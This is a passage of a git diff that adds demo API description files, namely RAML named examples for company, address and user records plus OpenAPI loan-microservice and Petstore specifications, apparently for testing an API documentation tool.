type: Person | PropertyExamples +/scalar: + post: + body: + application/json: + type: integer +/scalarWithExample: + post: + body: + application/json: + type: integer + example: 1 +/arrayScalar: + post: + body: + application/json: + type: array + items: [number] +/arrayScalarWithExample: + post: + body: + application/json: + type: array + items: [number] + example: [1, 2, 3] +/user-raml-example: + post: + body: + application/json: + type: !include user-raml-example.raml + examples: + User 3: + id: uid3 + username: ppsztyc + firstName: Pawel + lastName: Psztyc + profilePhoto: https://img/domain.com/ppsztyc + email: ppsztyc@domain.com + User 4: + id: uid4 + username: jdoe + firstName: John + lastName: Does + profilePhoto: https://img/domain.com/jdoe + email: jdoe@domain.com + application/xml: + type: !include user-raml-example.raml +/user-json-example: + post: + body: + application/json: + type: !include user-json-example.raml +/users-raml-example: + post: + body: + application/json: + type: !include users-raml-example.raml + application/xml: + type: !include users-raml-example.raml +/users-json-example: + post: + body: + application/json: + type: !include users-json-example.raml +/named-example: + post: + body: + application/json: + example: !include named-example.raml + application/xml: + example: !include named-example.raml +/named-linked-example: + post: + body: + application/json: + type: TypeWithExampleWithLinks + example: !include named-example-with-link.raml + application/xml: + example: !include named-example-with-link.raml diff --git a/demo/apis/examples-api/examples/Address_BE_Example-1.0.raml b/demo/apis/examples-api/examples/Address_BE_Example-1.0.raml new file mode 100755 index 0000000..6b52bb6 --- /dev/null +++ b/demo/apis/examples-api/examples/Address_BE_Example-1.0.raml @@ -0,0 +1,10 @@ +#%RAML 1.0 NamedExample +addressType: 'REGISTERED-OFFICE-ADDRESS' +streetName: 'UITBREIDINGSTRAAT' +houseNumber: '1' +houseNumberAddition: '/1' +postalCode: '1234' +city: 'BERCHEM (ANTWERPEN)' +country: 'Belgium' +countryCode: 'BE' +fullFormatedAddress: "UITBREIDINGSTRAAT 1 /1, 1234 BERCHEM (ANTWERPEN), BELGIUM" diff --git a/demo/apis/examples-api/examples/Address_GB_Example-1.0.raml b/demo/apis/examples-api/examples/Address_GB_Example-1.0.raml new file mode 100755 index 0000000..5b2b53b --- /dev/null +++ b/demo/apis/examples-api/examples/Address_GB_Example-1.0.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 NamedExample +addressType: 'REGISTERED-OFFICE-ADDRESS' +building: 'FITZWILLIAMHOUSE BUILDING' +streetName: '128 St Marry Axe' +streetNameAdd1: '128 St Marry Axe, EP1 1BE' +country: 'United Kingdom' +countryCode: 'GB' +fullFormatedAddress: 'FITZWILLIAMHOUSE BUILDING, 128 St Marry Axe, London, EP1 1BE' diff --git a/demo/apis/examples-api/examples/Address_NL_Example-1.0.raml b/demo/apis/examples-api/examples/Address_NL_Example-1.0.raml new file mode 100755 index 0000000..1f93890 --- /dev/null +++ b/demo/apis/examples-api/examples/Address_NL_Example-1.0.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 NamedExample +addressType: 'REGISTERED-OFFICE-ADDRESS' +streetName: 'HULLENBERGWEG' +houseNumber: '250' +city: 'AMSTERDAM ZUIDOOST' +country: 'Netherlands' +countryCode: 'NL' +fullFormatedAddress: 'HULLENBERGWEG 250, 1101BV AMSTERDAM ZUIDOOST' \ No newline at end of file diff --git a/demo/apis/examples-api/examples/Addresses_BE_Example-1.0.raml b/demo/apis/examples-api/examples/Addresses_BE_Example-1.0.raml new file mode 100755 index 0000000..40b3ba0 --- /dev/null +++ b/demo/apis/examples-api/examples/Addresses_BE_Example-1.0.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +- #Item 1 + addressType: 'REGISTERED-OFFICE-ADDRESS' + streetName: 'UITBREIDINGSTRAAT' + houseNumber: '1' + houseNumberAddition: '/1' + postalCode: '1234' + city: 'BERCHEM (ANTWERPEN)' + country: 'Belgium' + countryCode: 'BE' + fullFormatedAddress: "UITBREIDINGSTRAAT 1 /1, 1234 BERCHEM (ANTWERPEN), BELGIUM" diff --git a/demo/apis/examples-api/examples/Addresses_GB_Example-1.0.raml b/demo/apis/examples-api/examples/Addresses_GB_Example-1.0.raml new file mode 100755 index 0000000..8ade8a7 --- /dev/null +++ b/demo/apis/examples-api/examples/Addresses_GB_Example-1.0.raml @@ -0,0 +1,9 @@ +#%RAML 1.0 NamedExample +- #Item 1 + addressType: 'REGISTERED-OFFICE-ADDRESS' + building: 'FITZWILLIAMHOUSE BUILDING' + streetName: '128 St Marry Axe' + streetNameAdd1: '128 St Marry Axe, EP1 1BE' + country: 'United Kingdom' + countryCode: 'GB' + fullFormatedAddress: 'FITZWILLIAMHOUSE BUILDING, 128 St Marry Axe, London, EP1 1BE' diff --git a/demo/apis/examples-api/examples/Addresses_NL_Example-1.0.raml b/demo/apis/examples-api/examples/Addresses_NL_Example-1.0.raml new file mode 100755 index 0000000..dac0b3d --- /dev/null +++ b/demo/apis/examples-api/examples/Addresses_NL_Example-1.0.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 NamedExample +- #Item 1 + addressType: 'REGISTERED-OFFICE-ADDRESS' + streetName: 'HULLENBERGWEG' + houseNumber: '250' + city: 'AMSTERDAM ZUIDOOST' + country: 'Netherlands' + countryCode: 'NL' + fullFormatedAddress: 'HULLENBERGWEG 250, 1101BV AMSTERDAM ZUIDOOST' +- #Item 2 + addressType: 'REGISTERED-OFFICE-ADDRESS' + streetName: 'MYSTREET' + houseNumber: '000' + city: 'AMSTERDAM ZUIDOOST' + country: 'Netherlands' + countryCode: 'NL' + fullFormatedAddress: 'MYSTREET 000, 1101BV AMSTERDAM ZUIDOOST' diff --git a/demo/apis/examples-api/examples/CompanyIdentification_BE_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_BE_Example-1.0.raml new file mode 100755 index 0000000..ab8fcb1 --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyIdentification_BE_Example-1.0.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +countryCode: "BE" +graydonEnterpriseId: 1057155523 +registrationId: "0422319093" +vatNumber: "BE0422319093" +graydonCompanyId: "0422319093" +isBranchOffice: false \ No newline at end of file diff --git a/demo/apis/examples-api/examples/CompanyIdentification_GB_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_GB_Example-1.0.raml new file mode 100755 index 0000000..d4dc6cc --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyIdentification_GB_Example-1.0.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +countryCode: "GB" +graydonEnterpriseId: 1095695225 +registrationId: '00363849' +vatNumber: 'GB238749129' +graydonCompanyId: '00363849' +isBranchOffice: false \ No newline at end of file diff --git a/demo/apis/examples-api/examples/CompanyIdentification_NL_BranchId_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_NL_BranchId_Example-1.0.raml new file mode 100755 index 0000000..82ab056 --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyIdentification_NL_BranchId_Example-1.0.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +countryCode: "NL" +graydonEnterpriseId: 1000095065 +registrationId: "330803480000" +vatNumber: "NL004753975B01" +graydonCompanyId: "501924" +isBranchOffice: true diff --git a/demo/apis/examples-api/examples/CompanyIdentification_NL_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_NL_Example-1.0.raml new file mode 100755 index 0000000..e5d97b0 --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyIdentification_NL_Example-1.0.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +countryCode: "NL" +graydonEnterpriseId: 199990000 +registrationId: "110773422000" +vatNumber: "NL10375009A000" +graydonCompanyId: "501924" +isBranchOffice: false diff --git a/demo/apis/examples-api/examples/CompanyIdentification_NL_GY-Holding_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_NL_GY-Holding_Example-1.0.raml new file mode 100755 index 0000000..396cd7d --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyIdentification_NL_GY-Holding_Example-1.0.raml @@ -0,0 +1,6 @@ +#%RAML 1.0 NamedExample +countryCode: "NL" +graydonEnterpriseId: 112321 +registrationId: "9876543" +vatNumber: "NL123456789" +isBranchOffice: false diff --git a/demo/apis/examples-api/examples/CompanyLegalForm_BE_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyLegalForm_BE_Example-1.0.raml new file mode 100755 index 0000000..40cbf2d --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyLegalForm_BE_Example-1.0.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +code: '5' +description: 'Limited company' \ No newline at end of file diff --git a/demo/apis/examples-api/examples/CompanyLegalForm_GB_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyLegalForm_GB_Example-1.0.raml new file mode 100755 index 0000000..2ca1a5d --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyLegalForm_GB_Example-1.0.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +code: '9' +description: 'Private Limited Company' \ No newline at end of file diff --git a/demo/apis/examples-api/examples/CompanyLegalForm_NL_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyLegalForm_NL_Example-1.0.raml new file mode 100755 index 0000000..c87c916 --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyLegalForm_NL_Example-1.0.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +code: '10' +description: 'Public Limited Company' \ No newline at end of file diff --git a/demo/apis/examples-api/examples/CompanyProfile_BE_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyProfile_BE_Example-1.0.raml new file mode 100755 index 0000000..9ac2632 --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyProfile_BE_Example-1.0.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include CompanyIdentification_BE_Example-1.0.raml +companyName: 'ACME BE' +alternateCompanyName: 'ACME ALT NV' +tradeNames: + - 'ACME' + - 'ACM' + - 'IT FACILITY MANAGEMENT' +companyAddress: !include Addresses_BE_Example-1.0.raml +legalForm: !include CompanyLegalForm_BE_Example-1.0.raml +isActive: "true" +foundationDate: 1940-07-11 +dissolutionDate: 2007-01-01 +nonEmailIndicator: true diff --git a/demo/apis/examples-api/examples/CompanyProfile_GB_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyProfile_GB_Example-1.0.raml new file mode 100755 index 0000000..25acd9b --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyProfile_GB_Example-1.0.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include CompanyIdentification_GB_Example-1.0.raml +companyName: 'ACME UK LIMITED' +tradeNames: + - 'ACME' +companyAddress: !include Addresses_GB_Example-1.0.raml +legalForm: !include CompanyLegalForm_GB_Example-1.0.raml +isActive: "true" +foundationDate: 1940-07-11 +dissolutionDate: 2007-01-01 +nonEmailIndicator: false diff --git a/demo/apis/examples-api/examples/CompanyProfile_NL_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyProfile_NL_Example-1.0.raml new file mode 100755 index 0000000..0a83052 --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyProfile_NL_Example-1.0.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include CompanyIdentification_NL_Example-1.0.raml +companyName: 'ACME NEDERLAND B.V.' +tradeNames: + - 'ACME' + - 'NEDERLANDS ACME' +companyAddress: !include Addresses_NL_Example-1.0.raml +legalForm: !include CompanyLegalForm_NL_Example-1.0.raml +isActive: "true" +foundationDate: 1940-07-11 +dissolutionDate: 2007-01-01 +nonEmailIndicator: false diff --git a/demo/apis/examples-api/examples/Company_BE_Example-1.0.raml b/demo/apis/examples-api/examples/Company_BE_Example-1.0.raml new file mode 100755 index 0000000..b740a65 --- /dev/null +++ b/demo/apis/examples-api/examples/Company_BE_Example-1.0.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include CompanyIdentification_BE_Example-1.0.raml +companyProfile: !include CompanyProfile_BE_Example-1.0.raml \ No newline at end of file diff --git a/demo/apis/examples-api/examples/Company_GB_Example-1.0.raml b/demo/apis/examples-api/examples/Company_GB_Example-1.0.raml new file mode 100755 index 0000000..87eecd0 --- /dev/null +++ b/demo/apis/examples-api/examples/Company_GB_Example-1.0.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include CompanyIdentification_GB_Example-1.0.raml +companyProfile: !include CompanyProfile_GB_Example-1.0.raml \ No newline at end of file diff --git a/demo/apis/examples-api/examples/Company_NL_Example-1.0.raml b/demo/apis/examples-api/examples/Company_NL_Example-1.0.raml new file mode 100755 index 0000000..b954537 --- /dev/null +++ b/demo/apis/examples-api/examples/Company_NL_Example-1.0.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include CompanyIdentification_NL_Example-1.0.raml +companyProfile: !include CompanyProfile_NL_Example-1.0.raml \ No newline at end of file diff --git a/demo/apis/examples-api/linked-named-example.raml b/demo/apis/examples-api/linked-named-example.raml new file mode 100644 index 0000000..6a047d0 --- /dev/null +++ b/demo/apis/examples-api/linked-named-example.raml @@ -0,0 +1,22 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include example-1.raml +companyName: 'GRAYDON BELGIË NV' +alternateCompanyName: 'GRAYDON BELGIQUE NV' +tradeNames: + - 'GRAYDON' + - 'MARKTSELECT' + - 'CREDITEL' + - 'ACM' + - 'IT FACILITY MANAGEMENT' +companyAddress: !include example-2.raml +contactInformation: !include example-3.raml +legalForm: !include example-4.raml +size: !include example-5.raml +industry: + - !include example-6.raml +activities: !include example-7.raml +isActive: "true" +foundationDate: 1940-07-11 +dissolutionDate: 2007-01-01 +nonEmailIndicator: true +#numberOfBranchOffices: 0 diff --git a/demo/apis/examples-api/named-example-with-link.raml b/demo/apis/examples-api/named-example-with-link.raml new file mode 100644 index 0000000..0a1f0d9 --- /dev/null +++ b/demo/apis/examples-api/named-example-with-link.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +company: !include linked-named-example.raml +startDate: '2000-01-01' diff --git a/demo/apis/examples-api/named-example.raml b/demo/apis/examples-api/named-example.raml new file mode 100644 index 0000000..ab8fcb1 --- /dev/null +++ b/demo/apis/examples-api/named-example.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +countryCode: "BE" +graydonEnterpriseId: 1057155523 +registrationId: "0422319093" +vatNumber: "BE0422319093" +graydonCompanyId: "0422319093" +isBranchOffice: false \ No newline at end of file diff --git a/demo/apis/examples-api/type-with-linked-examples.raml b/demo/apis/examples-api/type-with-linked-examples.raml new file mode 100644 index 0000000..f2af456 --- /dev/null +++ b/demo/apis/examples-api/type-with-linked-examples.raml @@ -0,0 +1,15 @@ +#%RAML 1.0 DataType +type: object +displayName: Company +description: A company +examples: + BE_Company: !include examples/Company_BE_Example-1.0.raml + GB_Company: !include examples/Company_GB_Example-1.0.raml + NL_Company: !include examples/Company_NL_Example-1.0.raml +properties: + companyIdentification: + type: !include CompanyIdentification-1.0.raml + required: true + companyProfile: + type: !include CompanyProfile-1.0.raml + required: false diff --git a/demo/apis/examples-api/user-json-example.raml b/demo/apis/examples-api/user-json-example.raml new file mode 100644 index 0000000..a66d0e2 --- /dev/null +++ b/demo/apis/examples-api/user-json-example.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 DataType +type: object +displayName: User (JSON) +properties: + id: + displayName: Id + username: + displayName: Username + firstName: + displayName: First Name + lastName: + displayName: Last Name + profilePhoto: + displayName: Profile photo + email: + displayName: Email +example: !include user.json diff --git a/demo/apis/examples-api/user-raml-example.raml b/demo/apis/examples-api/user-raml-example.raml new file mode 100644 index 0000000..9178e93 --- /dev/null +++ b/demo/apis/examples-api/user-raml-example.raml @@ -0,0 +1,37 @@ +#%RAML 1.0 DataType +type: object +displayName: User (RAML) +properties: + id: + displayName: Id + username: + displayName: Username + firstName: + displayName: First Name + lastName: + displayName: Last Name + profilePhoto: + displayName: Profile photo + email: + displayName: Email + age: integer + newsletter: boolean +examples: + User 1: + id: uid1 + username: ppsztyc + firstName: Pawel + lastName: Psztyc + profilePhoto: https://img/domain.com/ppsztyc + email: ppsztyc@domain.com + age: 35 + newsletter: true + User 2: + id: uid2 + username: jdoe + firstName: John + lastName: Does + profilePhoto: https://img/domain.com/jdoe + email: jdoe@domain.com + age: 25 + newsletter: false diff --git a/demo/apis/examples-api/user.json b/demo/apis/examples-api/user.json new file mode 100644 index 0000000..78ec0ba --- /dev/null +++ b/demo/apis/examples-api/user.json @@ -0,0 +1,8 @@ +{ + "id": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97", + "username": "char", + "firstName": "Charlie", + "lastName": "Brown", + "profilePhoto": "http://my-photos.com/char.jpg", + "email": "char@wash.com" +} diff --git a/demo/apis/examples-api/user.raml b/demo/apis/examples-api/user.raml new file mode 100644 index 0000000..41b2515 --- /dev/null +++ b/demo/apis/examples-api/user.raml @@ -0,0 +1,18 @@ +#%RAML 1.0 DataType +type: object +displayName: User +properties: + id: + displayName: Id + username: + displayName: Username + firstName: + displayName: First Name + lastName: + displayName: Last Name + profilePhoto: + displayName: Profile photo + email: + displayName: Email + age: integer + newsletter: boolean diff --git a/demo/apis/examples-api/users-json-example.raml b/demo/apis/examples-api/users-json-example.raml new file mode 100644 index 0000000..ee690b8 --- /dev/null +++ b/demo/apis/examples-api/users-json-example.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 DataType +type: object +displayName: User (JSON) +properties: + id: + displayName: Id + username: + displayName: Username + firstName: + displayName: First Name + lastName: + displayName: Last Name + profilePhoto: + displayName: Profile photo + email: + displayName: Email +example: !include users.json diff --git a/demo/apis/examples-api/users-raml-example.raml b/demo/apis/examples-api/users-raml-example.raml new file mode 100644 index 0000000..cab1f77 --- /dev/null +++ b/demo/apis/examples-api/users-raml-example.raml @@ -0,0 +1,32 @@ +#%RAML 1.0 DataType +type: array +displayName: Users (RAML) +items: + properties: + id: + displayName: Id + username: + displayName: Username + firstName: + displayName: First Name + lastName: + displayName: Last Name + profilePhoto: + displayName: Profile photo + email: + displayName: Email +examples: + User 1: + id: uid1 + username: ppsztyc + firstName: Pawel + lastName: Psztyc + profilePhoto: https://img/domain.com/ppsztyc + email: ppsztyc@domain.com + User 2: + id: uid2 + username: jdoe + firstName: John + lastName: Does + profilePhoto: https://img/domain.com/jdoe + email: jdoe@domain.com diff --git a/demo/apis/examples-api/users.json b/demo/apis/examples-api/users.json new file mode 100644 index 0000000..7ee2e03 --- /dev/null +++ b/demo/apis/examples-api/users.json @@ -0,0 +1,8 @@ +[{ + "id": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97", + "username": "char", + "firstName": "Charlie", + "lastName": "Brown", + "profilePhoto": "http://my-photos.com/char.jpg", + "email": "char@wash.com" +}] diff --git a/demo/apis/new-oas3-types/new-oas3-types.yaml b/demo/apis/new-oas3-types/new-oas3-types.yaml new file mode 100644 index 0000000..ae39a38 --- /dev/null +++ b/demo/apis/new-oas3-types/new-oas3-types.yaml @@ -0,0 +1,84 @@ +openapi: 3.0.1 +info: + title: New OAS 3 types API + version: v1 +components: + schemas: + Person: + type: object + properties: + pets: + type: array + items: + $ref: '#/components/schemas/Pet' + Pet: + oneOf: + - $ref: '#/components/schemas/Cat' + - $ref: '#/components/schemas/Dog' + - $ref: '#/components/schemas/Tiger' + Animal: + type: object + discriminator: + propertyName: petType + properties: + name: + type: string + petType: + type: string + required: + - name + - petType + Monster: + anyOf: + - $ref: '#/components/schemas/Cat' + - $ref: '#/components/schemas/Dog' + - $ref: '#/components/schemas/Tiger' + Cat: ## "Cat" will be used as the discriminator value + description: A representation of a cat + allOf: + - $ref: '#/components/schemas/Animal' + - type: object + properties: + huntingSkill: + type: string + description: The measured skill for hunting + enum: + - clueless + - lazy + - adventurous + - aggressive + required: + - huntingSkill + Dog: ## "Dog" will be used as the discriminator value + description: A representation of a dog + allOf: + - $ref: '#/components/schemas/Animal' + - type: object + properties: + packSize: + type: integer + format: int32 + description: the size of the pack the dog is from + default: 0 + minimum: 0 + required: + - packSize + Tiger: + description: A representation of a Tiger + type: object + properties: + deadliness: + type: number +paths: + /pets: + get: + description: Returns all available pets + responses: + 200: + description: List of pets + content: + application/json: + schema: + type: array + items: + - $ref: '#/components/schemas/Pet' \ No newline at end of file diff --git a/demo/apis/oas-api/LoanMicrosrvice.yaml b/demo/apis/oas-api/LoanMicrosrvice.yaml new file mode 100644 index 0000000..d280b9f --- /dev/null +++ b/demo/apis/oas-api/LoanMicrosrvice.yaml @@ -0,0 +1,339 @@ +swagger: '2.0' +info: + description: >- + Loan microservice contains set of fine grained services to handle with all + the loan related informations like, update the User information, generate + uinque application id, fetch the nearest branch details, vehicle make and + other related information. + version: version-1.0.3 + title: Loan Microservice + termsOfService: Terms of service + contact: + name: John Becker + email: JohnBecker@cognizant.com +host: https://qax.anypoint.mulesoft.com # host: loanapplication.cfapps.io +basePath: /mocking/api/links/7a6fb617-a7dd-44d6-8213-301202f4b1f7/ # basePath: / +tags: + - name: loan-application-controller + description: Loan Application Controller +paths: + /branchdetail: + get: + tags: + - loan-application-controller + summary: Fetch Branch Details + description: Service to fetch the Branch Details based on the Given Zip code + operationId: fetchBranchDetailsUsingGET + consumes: + - application/json + produces: + - application/json + parameters: + - name: zipCode + in: query + description: >- + Input the zipcode value to get the branches available in the + location + required: true + type: string + responses: + '200': + description: Successfully retrieved branch details + schema: + $ref: '#/definitions/Branch' + headers: + Branch: + type: string + description: The fetched branch resource + '401': + description: You are not authorized to view the resource + '403': + description: Accessing the resource you were trying to reach is forbidden + '404': + description: The resource you were trying to reach is not found + /loanapplication: + post: + tags: + - loan-application-controller + summary: Submit Loan Application + description: Service to Create a Loan Applicaiton Details + operationId: saveLoanApplicationDetailsUsingPOST + consumes: + - application/json + produces: + - application/json + parameters: + - in: body + name: loanApplication + description: >- + Input the loanapplication object to save the loan details to the + service + required: true + schema: + $ref: '#/definitions/LoanApplication' + responses: + '200': + description: Successfully retrieved loan application + schema: + $ref: '#/definitions/Application' + headers: + Application: + type: string + description: The submitted Loan resource + '201': + description: Created + '401': + description: You are not authorized to view the resource + '403': + description: Accessing the resource you were trying to reach is forbidden + '404': + description: The resource you were trying to reach is not found + /username: + get: + tags: + - loan-application-controller + summary: Find ApplicationId + description: Service to find application id based on user name + operationId: findByUserNameUsingGET + consumes: + - application/json + produces: + - application/json + parameters: + - name: userName + in: query + description: >- + Input the username to fetch the application details available for + the user + required: true + type: string + responses: + '200': + description: Successfully retrieved account details + schema: + type: string + headers: + ApplicationId: + type: string + description: The fetched ApplicationId resource + '401': + description: You are not authorized to view the resource + '403': + description: Accessing the resource you were trying to reach is forbidden + '404': + description: The resource you were trying to reach is not found + /vehicledetail: + get: + tags: + - loan-application-controller + summary: Find Vehicle Details + description: Service to find the vehicle model based on vehicle make + operationId: findByVehicleModelUsingGET + consumes: + - application/json + produces: + - application/json + parameters: + - name: vehicleMake + in: query + description: Input the vehiclemake value to retrieve the vehicle details + required: true + type: string + responses: + '200': + description: Successfully retrieved vechicle details + schema: + type: array + items: + $ref: '#/definitions/VehicleDetail' + headers: + VehicleDetail: + type: string + description: The fetched VehicleDetail resource + '401': + description: You are not authorized to view the resource + '403': + description: Accessing the resource you were trying to reach is forbidden + '404': + description: The resource you were trying to reach is not found +definitions: + Vehicle: + type: object + properties: + approxMileage: + type: string + city: + type: string + estimatedValue: + type: integer + format: int32 + regState: + type: string + sellerAddress: + type: string + sellerName: + type: string + state: + type: string + street: + type: string + transactionType: + type: string + vehIdentNo: + type: string + vehicleId: + type: integer + format: int32 + vehicleMake: + type: string + vehicleModel: + type: string + vehicleType: + type: string + vehicleYear: + type: integer + format: int32 + zipCode: + type: string + VehicleDetail: + type: object + properties: + id: + type: string + vehIdentNo: + type: string + vehicleDetailsId: + type: integer + format: int32 + vehicleMake: + type: string + vehicleModel: + type: string + vehicleType: + type: string + vehicleYear: + type: integer + format: int32 + User: + type: object + properties: + addTypePrevious: + type: string + addTypePrimary: + type: string + annualIncome: + type: integer + anyPoliticalRelationship: + type: boolean + apartmentNo: + type: string + citizenOf: + type: boolean + city: + type: string + dateOfBirth: + type: string + format: date-time + email: + type: string + firstName: + type: string + housingStatus: + type: string + initial: + type: string + lastName: + type: string + monthlyPayment: + type: integer + monthsAtCurrAdd: + type: integer + format: int32 + otherIncome: + type: string + permanentResidence: + type: boolean + phoneNo: + type: integer + format: int32 + ssn: + type: integer + format: int32 + state: + type: string + street: + type: string + suffix: + type: string + uid: + type: integer + format: int32 + userName: + type: string + yearsAtCurrAdd: + type: integer + format: int32 + zipCode: + type: string + Branch: + type: object + properties: + apartmentNo: + type: string + branchId: + type: integer + format: int32 + branchName: + type: string + city: + type: string + contactPerson: + type: string + phoneNo: + type: string + state: + type: string + street: + type: string + zipCode: + type: string + LoanApplication: + type: object + properties: + application: + $ref: '#/definitions/Application' + user: + $ref: '#/definitions/User' + Application: + type: object + properties: + applicationId: + type: string + applicationState: + type: string + applicationStatus: + type: string + branch: + $ref: '#/definitions/Branch' + loanTerm: + type: integer + format: int32 + loanYearPeriod: + type: integer + format: int32 + ownerShip: + type: string + pendingWith: + type: string + requestedAmt: + type: integer + format: int32 + uid: + type: integer + format: int32 + user: + $ref: '#/definitions/User' + userName: + type: string + vehicle: + $ref: '#/definitions/Vehicle' \ No newline at end of file diff --git a/demo/apis/oas-api/Petstore-v2.yaml b/demo/apis/oas-api/Petstore-v2.yaml new file mode 100644 index 0000000..42ea086 --- /dev/null +++ b/demo/apis/oas-api/Petstore-v2.yaml @@ -0,0 +1,142 @@ +swagger: "2.0" +info: + version: 1.0.0 + title: Swagger Petstore + description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification + termsOfService: http://swagger.io/terms/ + contact: + name: Swagger API Team + email: apiteam@swagger.io + url: http://swagger.io + license: + name: Apache 2.0 + url: https://www.apache.org/licenses/LICENSE-2.0.html +host: petstore.swagger.io +basePath: /api +schemes: + - http +consumes: + - application/json +produces: + - application/json +paths: + /pets: + get: + description: | + Returns all pets from the system that the user has access to + operationId: findPets + parameters: + - name: tags + in: query + description: tags to filter by + required: false + type: array + collectionFormat: csv + items: + type: string + - name: limit + in: query + description: maximum number of results to return + required: false + type: integer + format: int32 + responses: + "200": + description: pet response + schema: + type: array + items: + $ref: '#/definitions/Pet' + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' + post: + description: Creates a new pet in the store. Duplicates are allowed + operationId: addPet + parameters: + - name: pet + in: body + description: Pet to add to the store + required: true + schema: + $ref: '#/definitions/NewPet' + responses: + "200": + description: pet response + schema: + $ref: '#/definitions/Pet' + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' + /pets/{id}: + get: + description: Returns a user based on a single ID, if the user does not have access to the pet + operationId: find pet by id + parameters: + - name: id + in: path + description: ID of pet to fetch + required: true + type: integer + format: int64 + responses: + "200": + description: pet response + schema: + $ref: '#/definitions/Pet' + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' + delete: + description: deletes a single pet based on the ID supplied + operationId: deletePet + parameters: + - name: id + in: path + description: ID of pet to delete + required: true + type: integer + format: int64 + responses: + "204": + description: pet deleted + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' +definitions: + Pet: + allOf: + - $ref: '#/definitions/NewPet' + - $ref: '#/definitions/Error' + - required: + - id + properties: + id: + type: integer + format: int64 + test: + type: string + + NewPet: + required: + - name + properties: + name: + type: string + tag: + type: string + + Error: + required: + - code + - message + properties: + code: + type: integer + format: int32 + message: + type: string diff --git a/demo/apis/oas-api/Petstore.raml b/demo/apis/oas-api/Petstore.raml new file mode 100644 index 0000000..a045773 --- /dev/null +++ b/demo/apis/oas-api/Petstore.raml @@ -0,0 +1,141 @@ +#%RAML 1.0 +title: Swagger Petstore +description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification +version: 1.0.0 +(oas-info): + termsOfService: 'http://swagger.io/terms/' + contact: + name: Swagger API Team + url: 'http://swagger.io' + email: apiteam@swagger.io + license: + name: Apache 2.0 + url: 'https://www.apache.org/licenses/LICENSE-2.0.html' +annotationTypes: + oas-info: + properties: + termsOfService?: string + contact?: + properties: + name?: string + url?: string + email?: string + license?: + properties: + name?: string + url?: string + allowedTargets: API + oas-responses-default: + type: any + allowedTargets: Method + oas-collectionFormat: + type: string + oas-body-name: + type: string + allowedTargets: TypeDeclaration +mediaType: application/json +protocols: + - HTTP +baseUri: 'http://petstore.swagger.io/api' +types: + Pet: + type: NewPet + properties: + id: + type: integer + format: int64 + NewPet: + properties: + name: + type: string + tag: + type: string + required: false + Error: + properties: + code: + type: integer + format: int32 + message: + type: string +/pets: + get: + description: | + Returns all pets from the system that the user has access to + displayName: findPets + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '200': + description: pet response + body: + application/json: + type: array + items: + type: Pet + queryParameters: + tags: + description: tags to filter by + required: false + type: array + items: + type: string + (oas-collectionFormat): csv + limit: + description: maximum number of results to return + required: false + type: integer + format: int32 + post: + description: Creates a new pet in the store. Duplicates are allowed + displayName: addPet + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '200': + description: pet response + body: + application/json: + type: Pet + body: + application/json: + description: Pet to add to the store + type: NewPet + (oas-body-name): pet + '/{id}': + get: + description: 'Returns a user based on a single ID, if the user does not have access to the pet' + displayName: find pet by id + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '200': + description: pet response + body: + application/json: + type: Pet + delete: + description: deletes a single pet based on the ID supplied + displayName: deletePet + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '204': + description: pet deleted + uriParameters: + id: + description: ID of pet to delete + type: integer + format: int64 diff --git a/demo/apis/oas-api/UBER.raml b/demo/apis/oas-api/UBER.raml new file 